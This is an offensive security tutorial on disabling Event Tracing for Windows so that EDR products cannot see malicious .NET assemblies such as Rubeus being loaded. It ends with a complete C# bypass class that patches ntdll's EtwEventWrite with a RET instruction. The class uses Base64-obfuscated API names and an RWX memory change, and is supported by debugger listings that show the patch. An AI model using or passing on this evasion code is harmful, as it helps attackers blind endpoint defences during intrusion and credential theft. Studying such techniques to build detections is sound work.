Unhooking Event Tracing for Windows

Event Tracing for Windows (ETW) provides telemetry data from kernel and user space processes. This information can be parsed by Endpoint Detection and Response (EDR) products to identity malicious activity on an endpoint.

The event tracing API has three components;

  • Controllers – start and stop event tracing sessions.
  • Providers – supply events.
  • Consumers – retrieve events.

ETW providers can be queried using logman.exe;

In a previous article we looked at loading malicious code with Assembly.Load() in C#. This technique loads an additional assembly into the existing App Domain of the application. We can observe this behavior with the following C# Code:

        static void GetAppDomains()
        {
            AppDomain currentDomain = AppDomain.CurrentDomain;
            Assembly[] assems = currentDomain.GetAssemblies();
            Console.WriteLine("List of assemblies loaded in current appdomain:");
            foreach (Assembly assem in assems)
                Console.WriteLine(assem.ToString());
        }

Running this code, we can see that SharpDPAPI is being loaded into the AppDomain of the application:

EDR and Anti Virus vendors are also able to track this behavior using ETW.

We can investigate events produced by ETW using Mandiant’s SilkETW application. The application can be run to trace ModuleLoad events coming from the DotNETRuntime provider:

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -ot file -p C:\logfile.json -f EventName -fv "Loader/ModuleLoad"

The application outputs JSON data to a log file. In it, we can see the module load event for Rubeus:

{
  "ProviderGuid": "e13c0d23-ccbc-4e12-931b-d9cc2eee27e4",
  "YaraMatch": [],
  "ProviderName": "Microsoft-Windows-DotNETRuntime",
  "EventName": "Loader/ModuleLoad",
  "Opcode": 33,
  "OpcodeName": "ModuleLoad",
  "ThreadID": 10432,
  "ProcessID": 10400,
  "ProcessName": "ExecuteAssembly",
  "PointerSize": 8,
  "EventDataLength": 86,
  "XmlEventData": {
    "ModuleID": "140,707,340,541,256",
    "ManagedPdbSignature": "00000000-0000-0000-0000-000000000000",
    "Reserved1": "0",
    "ManagedPdbBuildPath": "",
    "ModuleNativePath": "",
    "NativePdbBuildPath": "",
    "FormattedMessage": "ModuleID=140,707,340,541,256;\r\nAssemblyID=7,010,512;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;\r\nModuleNativePath=Rubeus;\r\nClrInstanceID=;\r\nManagedPdbSignature=6;\r\nManagedPdbAge=00000000-0000-0000-0000-000000000000;\r\nManagedPdbBuildPath=0;\r\nNativePdbSignature=;\r\nNativePdbAge=00000000-0000-0000-0000-000000000000;\r\nNativePdbBuildPath=0 ",
    "MSec": "1004888.7437",
    "NativePdbAge": "0",
    "ModuleFlags": "Manifest",
    "AssemblyID": "7,010,512",
    "PID": "10400",
    "NativePdbSignature": "00000000-0000-0000-0000-000000000000",
    "ModuleILPath": "Rubeus",
    "TID": "10432",
    "ManagedPdbAge": "0",
    "ProviderName": "Microsoft-Windows-DotNETRuntime",
    "PName": "",
    "ClrInstanceID": "6",
    "EventName": "Loader/ModuleLoad"
  }
}

In addition, using a tool like Process Explorer also allows us to see the suspicious loaded module:

Removing ETW Userland Hooks

Preventing ETW from logging this information is done in a similar manner to bypassing AMSI. The ntdll EtwEventWrite function is responsible for logging ETW messages. Adding code to return from this function early will prevent it from logging:

On x64 systems, adding a single RET instruction (0xC3) should be enough to prevent the function from returning any data.

EtwEventWrite before modification:

0:006> u ntdll!EtwEventWrite
ntdll!EtwEventWrite:
00007ff9`a177f1a0 4c8bdc          mov     r11,rsp
00007ff9`a177f1a3 4883ec58        sub     rsp,58h
00007ff9`a177f1a7 4d894be8        mov     qword ptr [r11-18h],r9
00007ff9`a177f1ab 33c0            xor     eax,eax
00007ff9`a177f1ad 458943e0        mov     dword ptr [r11-20h],r8d
00007ff9`a177f1b1 4533c9          xor     r9d,r9d
00007ff9`a177f1b4 498943d8        mov     qword ptr [r11-28h],rax
00007ff9`a177f1b8 4533c0          xor     r8d,r8d

EtwEventWrite after modification:

0:000> u ntdll!EtwEventWrite
ntdll!EtwEventWrite:
00007ff9`a177f1a0 c3              ret
00007ff9`a177f1a1 8bdc            mov     ebx,esp
00007ff9`a177f1a3 4883ec58        sub     rsp,58h
00007ff9`a177f1a7 4d894be8        mov     qword ptr [r11-18h],r9
00007ff9`a177f1ab 33c0            xor     eax,eax
00007ff9`a177f1ad 458943e0        mov     dword ptr [r11-20h],r8d
00007ff9`a177f1b1 4533c9          xor     r9d,r9d
00007ff9`a177f1b4 498943d8        mov     qword ptr [r11-28h],rax

This will have the effect that Process Explorer will no longer return the list of loaded assemblies;

Bypass Code

using System;
using System.Runtime.InteropServices;

public class ETWBypass
{
    public static void Execute()
    {
        var sp = Convert.FromBase64String("RXR3RXZlbnRXcml0ZQ=="); //EtwEventWrite
        string decodedSp = System.Text.Encoding.UTF8.GetString(sp);
        var ad = Convert.FromBase64String("bnRkbGwuZGxs"); //ntdll.dll
        string decodedAd = System.Text.Encoding.UTF8.GetString(ad);
        var lib = LoadLibrary(decodedAd);
        var myvar = GetProcAddress(lib, Convert.ToString(decodedSp));

        byte [] bypass = { 0xC3 }; //Cause EtwEventWrite to return

        var p = bypass;
        
        _ = VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect);
        
        Marshal.Copy(p, 0, myvar, p.Length);
        _ = VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _);
    }
    [DllImport("kernel32")]
    static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}